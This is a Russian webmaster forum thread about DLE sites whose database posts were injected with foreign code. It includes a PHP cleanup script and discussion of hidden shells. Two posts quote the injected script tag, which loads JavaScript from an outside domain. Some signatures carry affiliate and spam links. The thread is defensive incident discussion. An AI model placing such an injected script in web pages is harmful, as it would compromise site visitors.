Попробуйте почистить КЭШ и обновить пароли - Веб-строительство

59

Abrikosik

12 сентября 2013, 18:07

#21

Gooodd:
Код скрипта для чистки зараженной базы данных.

Размещаете на сайте код в файле .php с любым названием, запускаете и все.

Рекомендую предварительно сделать бекап базы данных.

<?php

if(isset($_GET['blank'])) die();

error_reporting(0);

set_time_limit(0);

function stripslashes_array($array) { 

	return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 

}

if(get_magic_quotes_gpc()) $_POST = stripslashes_array($_POST); 



session_start ();

define ( 'DATALIFEENGINE', true );

$member_id = FALSE;

$is_logged = FALSE;

define('ROOT_DIR', dirname( __FILE__ ));

define('ENGINE_DIR', ROOT_DIR.'/engine');



require_once ROOT_DIR.'/engine/init.php';

?>

<html>

<head>

	<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />

	<title>Доктор DLE</title>

	<style type="text/css">

	body, td, th {

    color: #333;

    font-family: Arial;

    font-size: 14px;

	}

	</style>

</head>

<body>

<?php

if(isset($_POST['submit'])) {

    echo '<div id="result">';

    $posts = $db->query("SELECT `id`, `full_story`, `short_story`  FROM `".PREFIX."_post`");

    while($post = $db->get_row($posts)) {

	    $post['full_story'] = preg_replace('/(<object.*<\/object>)/Usi', '', $post['full_story']);

	    $post['short_story'] = preg_replace('/(<object.*<\/object>)/Usi', '', $post['short_story']);

	    $sql = 'UPDATE `'.PREFIX.'_post` SET `full_story`="'.mysql_escape_string($post['full_story']).'", `short_story`="'.mysql_escape_string($post['short_story']).'" WHERE `id`='.$post['id'];

		$db->query($sql);

    }

    echo 'Готово';

    echo '</div>';

}

?>

<form action="" method="post">

<input type="submit" name="submit" value="Начать" />

</form>



</body>

</html>

Вроде не учтены правила сайта, туда тоже это чудо прописывается...

103

Gooodd

12 сентября 2013, 18:10

#22

Все пересмотрел, но шелл не обнаружил...

Кто нибудь нашел его?

Abrikosik, будет круто если ктото допилит

Если ты хочешь, что бы у тебя было всё хорошо. Положи под подушку шоколад и на утро у тебя будет всё в шоколаде!!!

103

mmmmm150

12 сентября 2013, 19:50

#23

Gooodd, Вылазит следующее:

Parse error: syntax error, unexpected '*', expecting ',' or ')' in /var/www/.../ses.php on line 2

всем добра :)

H

13

hMartin

12 сентября 2013, 19:53

#24

Gooodd:
Все пересмотрел, но шелл не обнаружил...

Кто нибудь нашел его?

Abrikosik, будет круто если ктото допилит

там может быть просто eval или php Инклуд, а после тача не найдете, ток если сравнивать хешсуммы)

227

maximka77

13 сентября 2013, 03:09

#25

На форуме ДЛЕ Целсофт пишет что можно попробовать выполнить перестроение публикаций для новостей, а статические страницы нужно чистить ручками.

Вот топик

- Дизайн-радиаторы отопления ( https://velarshop.ru/design/) - Зарабатываю в РСЯ через ( https://app.adprofit.world/login/registration?u=219 ) пока что мне нравится, выплаты получаю каждый понедельник на USDT - Заказать обратные внешние ссылки с главных страниц PBN ( https://tier1.shop/ )

F8

83

fat87

13 сентября 2013, 03:51

#26

Народ, как очистить то понятно. Вопрос в том, что за уязвимость массовая? Помогает ли последняя заплатка последняя (в файле /engine/classes/min/index.php) и патч 9.7 официальный (от января 2013)? Или это что-то новое?

учёт битых ссылок при Яндекс кобласит Что если включить HTTP/2

249

ProLiant

13 сентября 2013, 04:53

#27

fat87:
Народ, как очистить то понятно. Вопрос в том, что за уязвимость массовая? Помогает ли последняя заплатка последняя (в файле /engine/classes/min/index.php) и патч 9.7 официальный (от января 2013)? Или это что-то новое?

Нет, заплатка эта точно не помогает! Ломают в другую дыру. Сегодня уже модификация появилась, вида:

<script async="async" type="text/javascript" src="http://google-webmaster.ru/c4ca4238a0b923820dcc509a6f75849b.js"></script>

Тоже, сколько не пытаюсь найти шелл в файлах двига - ничего не нахожу. :( И действительно, в шаблоне правил сайта внизу тоже эта гадость добавляется.

Выбирай оптимальный хостинг (http://cp.inferno.name/aff.php?aff=2053) для стабильного заработка на файловом трафе (https://espays.com/s.php?f=38). ;)

Резкий всплеск прямых заходов. SpeedyIndex - ускорение индексирования Упал доход

103

Gooodd

13 сентября 2013, 04:57

#28

у меня такая модификация еще вчера была, все почистил вчера, сменил пароли, пока что все ок, наблюдаем за развитием событий )

249

ProLiant

13 сентября 2013, 05:03

#29

maximka77:
На форуме ДЛЕ Целсофт пишет что можно попробовать выполнить перестроение публикаций для новостей, а статические страницы нужно чистить ручками.
Вот топик

Попробовать.. Хм, что это даст? Код удалится, или дыра закрывается? :)

---------- Добавлено 13.09.2013 в 08:05 ----------

Gooodd:
у меня такая модификация еще вчера была, все почистил вчера, сменил пароли, пока что все ок, наблюдаем за развитием событий )

Не... Вчера у меня снова webmaster-yandex появился вечерком. Тоже восстановил бэкап базы, все пароли (в очередной раз сменил), сегодня утром уже сидел webmaster-google. :)

Упал доход Яндекс усилил защиту аккаунтов Страницы в индексе, но

I

41

irazumkov

13 сентября 2013, 05:51

#30

/ru/forum/comment/12138030

коперну пост, как я решил проблему.

почистил КЭШ и обновил пароли и поставил заплатку с офф сайта.

пока спокойно все

---------- Добавлено 13.09.2013 в 10:30 ----------

ProLiant:
Нет, заплатка эта точно не помогает! Ломают в другую дыру. Сегодня уже модификация появилась, вида:

<script async="async" type="text/javascript" src="http://google-webmaster.ru/c4ca4238a0b923820dcc509a6f75849b.js"></script>

Тоже, сколько не пытаюсь найти шелл в файлах двига - ничего не нахожу. :( И действительно, в шаблоне правил сайта внизу тоже эта гадость добавляется.

аналогично, искал шелл, ничего не нашел...видимо где-то дыра хорошая.

Понять бы каким образом был получен доступ к базе....

Open AI тестирует память для ChatGPT

Переиграть и победить: как анализировать конкурентов для продвижения сайта

оявление постороннего кода в новостях DLE